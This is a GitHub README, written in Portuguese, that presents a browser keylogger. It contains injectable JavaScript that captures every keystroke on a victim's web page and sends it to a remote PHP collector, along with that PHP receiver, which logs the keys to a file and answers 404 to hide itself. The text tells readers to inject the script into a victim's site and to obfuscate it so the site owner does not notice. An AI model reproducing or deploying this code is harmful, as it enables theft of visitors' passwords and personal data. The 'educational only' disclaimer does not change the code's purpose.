Skip to content

Predad0rAlfa/keylogger-project

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

O QUE PODEMOS FAZER COM UM KEYLOGGER?

Keylogger é um tipo de software que, uma vez ativo em um sistema, pode registrar cada pressionamento de tecla feito pelo sistema. Todo o pressionamento de tecla gravado é salvo em um arquivo de log. Um keylogger pode gravar uma mensagem, e-mail e capturar qualquer tipo de informação que você digitar a qualquer momento usando o teclado.

Criar arquivo JS Keylogger - keylogger.js

if((window.jQuery))
{
 console.log("jQuery Found");
}
else
{
 console.log("jQuery Not Found");
 var script = document.createElement('script');
 script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
 document.body.appendChild(script);
}

function c(d)
{
 jQuery.ajax(
 {
 dataType: "jsonp",
 type:"GET",
 url: "https://example.com/keylogger.php",
 jsonp:"keypressed",
 data:
 {
 altnKey:d.altKey?1:0,
 ctrlKey:d.ctrlKey?1:0,
 userKey:d.key,
 targKey:d.target.id,
 userURI:d.target.baseURI
 },
 async:false,
 success: function(data)
 {
 console.log(data);
 },
 error:function(xhr, ajaxOptions, thrownError)
 {
 console.log("Error");
 }
 });
}

window.onload = function()
{
 window.addEventListener("keydown", function(e)
 {
 c(e);
 });
}  

O código acima em JavaScript pode ser injetado diretamente no site da vítima ou pode ser hospedado remotamente. O objetivo deste código é pegar o pressionamento de tecla do usuário e enviá-lo para um servidor remoto. Certifique-se de substituir " https://example.com/keylogger.php " pelo URL real do seu arquivo PHP.

Para economizar tempo vamos fazer isso com jQuery. Portanto, para evitar erros, a primeira coisa que fazemos é garantir que o jQuery esteja presente na página da vítima e carregá-lo caso não o encontremos.

Declaramos uma função " c ", onde o parâmetro " d " será o pressionamento da tecla. Esta função terá uma chamada Ajax para o arquivo PHP que recebe as teclas.

Criar arquivo PHP Keylogger - keylogger.php

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data.txt';
if(!file_exists($file))
{
 $fh = fopen($file, 'w');
}

function f($str)
{
 return trim(preg_replace("(\\\)","",htmlentities(strip_tags($str),ENT_QUOTES,'UTF-8')));
}

$altnKey=(int)$_GET['altnKey'];
$ctrlKey=(int)$_GET['ctrlKey'];
$userKey=f($_GET['userKey']);
$targKey=f($_GET['targKey']);
$userURI=f($_GET['URI']);

$string = $altnKey."|".$ctrlKey."|".$userKey."|".$targKey."|".$userURI." ";
file_put_contents($file, $string, FILE_APPEND);

A parte do servidor está em PHP. Não há nada a explicar sobre o código acima, o objetivo do arquivo PHP é receber o valor do pressionamento de tecla transferido em Ajax pelo JavaScript e armazená-lo em um arquivo de texto simples. O "keylogger.php" deve ser hospedado em um servidor remoto e a URL completa do arquivo deve ser especificada no arquivo "keylogger.js".

Você pode adaptar o código acima para atender às suas necessidades exatas. Por exemplo, talvez você queira salvar os resultados diretamente em um banco de dados ou enviá-los para um endereço de e-mail. COMO FUNCIONA ? Um keylogger simples baseado na web. Nesta documentação, você saberá como funciona o keylogger, tipo de programação pela qual registramos e monitoramos cada pressionamento de tecla digitado pelo usuário em um site.

OBFUSCAÇÃO DE JAVASCRIPT

Podemos ir mais longe, usando uma ferramenta on-line de ofuscação para ocultar nosso código JavaScript e evitar que o proprietário do site detecte o keylogger à primeira vista.

Sinta-se livre para contribuir para corrigir quaisquer problemas, ou para apresentar um problema!

Por favor, note, este repo é apenas para fins educacionais. Nenhum contribuinte, maior ou menor, é culpado por quaisquer ações feitas por este programa.

Releases

No releases published

Packages

No packages published

Languages